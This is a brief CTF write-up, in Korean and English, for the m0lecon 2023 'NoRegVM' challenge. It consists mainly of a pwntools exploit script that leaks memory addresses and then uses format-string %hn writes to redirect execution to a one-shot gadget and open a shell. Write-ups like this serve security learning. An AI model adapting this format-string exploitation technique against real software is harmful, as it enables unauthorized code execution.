[CTF write up] m0lecon CTF 2023 - NoRegVM : FSB VM exploit

2023. 5. 14. 02:56CTF write up

취약점은 여러가지인데 전부 이런저런 이유로 익스하기가 힘들다. fmt 문자열이 덮히는 걸 이용해서 FSB를 이용해 Exploit 하였다.

There are many vulnerabilities, but all of them are difficult to exploit for one reason or another. Exploited using FSB by using that the fmt string can be overwritten.

 

from pwn import *

pay = p32(7) + p32(0) + p32((464+8)) #popin
pay += p32(8) + p32(464) + p32(8) #popout
pay += p32(0xa) + p32(1) #write

pay += p32(5) + p32(6)  #reset
pay += p32(0x9) + p32(20) #read
pay += p32(7) + p32(208) + p32(20) #popin
pay += p32(8) + p32(0) + p32((208+20)) #popout
pay += p32(0xa) + p32(1) #write

pay += p32(5) + p32(6)  #reset
pay += p32(0x9) + p32(30) #read
pay += p32(7) + p32(208) + p32(30) #popin
pay += p32(8) + p32(0) + p32((208+30)) #popout
pay += p32(0xa) + p32(1) #write

pay += p32(5) + p32(6)  #reset
pay += p32(0x9) + p32(30) #read
pay += p32(7) + p32(208) + p32(30) #popin
pay += p32(8) + p32(0) + p32((208+30)) #popout
pay += p32(0xa) + p32(1) #write

pay += p32(5) + p32(6)  #reset
pay += p32(0x9) + p32(30) #read
pay += p32(7) + p32(208) + p32(30) #popin
pay += p32(8) + p32(0) + p32((208+30)) #popout
pay += p32(0xa) + p32(1) #write

pay += p32(5) + p32(6)  #reset
pay += p32(0x9) + p32(30) #read
pay += p32(7) + p32(208) + p32(30) #popin
pay += p32(8) + p32(0) + p32((208+30)) #popout
pay += p32(0xa) + p32(1) #write

pay += p32(5) + p32(6)  #reset
pay += p32(0x9) + p32(30) #read
pay += p32(7) + p32(208) + p32(30) #popin
pay += p32(8) + p32(0) + p32((208+30)) #popout
pay += p32(0xa) + p32(1) #write

pay += p32(5) + p32(6)  #reset
pay += p32(0x9) + p32(30) #read
pay += p32(7) + p32(208) + p32(30) #popin
pay += p32(8) + p32(0) + p32((208+30)) #popout
pay += p32(0xa) + p32(1) #write

pay += p64(0x0) #end

f1 = open("code.m","wb+")
f1.write(pay)
f1.close()

mem = b'\x00'*(0x1F40)
f1 = open("mem.m","wb+")
f1.write(mem)
f1.close()

#context.log_level = 'debug'
p = process(["challenge", "code.m", "mem.m"])

stdout = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(f'stdout : {hex(stdout)}')
oneshot = stdout - 0x12ea88 -3

p.sendline(b'%p %p %6$p')

p.recvuntil(b'0x')
pie_base = int(p.recvn(12),16) - 0x41a0
print(f'pie_base : {hex(pie_base)}')

p.recvuntil(b'0x')
mem_addr = int(p.recvn(12),16) - 0x24
print(f'mem_addr : {hex(mem_addr)}')

p.recvuntil(b'0x')
stack = int(p.recvn(12),16) + 0x58
print(f'stack : {hex(stack)}')

fmt_pay = f'%3${((stack-0x38) & 0xffff)}d%18$hn'.encode()
p.sendline(fmt_pay)
fmt_pay = f'%3${((oneshot) & 0xffff)}d%59$hn'.encode()
p.sendline(fmt_pay)

fmt_pay = f'%3${(((stack-0x38) & 0xffff) + 2)}d%18$hn'.encode()
p.sendline(fmt_pay)
fmt_pay = f'%3${((oneshot >> 16) & 0xffff)}d%59$hn'.encode()
p.sendline(fmt_pay)

pause()
fmt_pay = f'%3${(((stack-0x38) & 0xffff) + 4)}d%18$hn'.encode()
p.sendline(fmt_pay)
fmt_pay = f'%3${((oneshot >> 32) & 0xffff)}d%59$hn'.encode()
p.sendline(fmt_pay)

p.interactive()

 

 

oneshot gadget~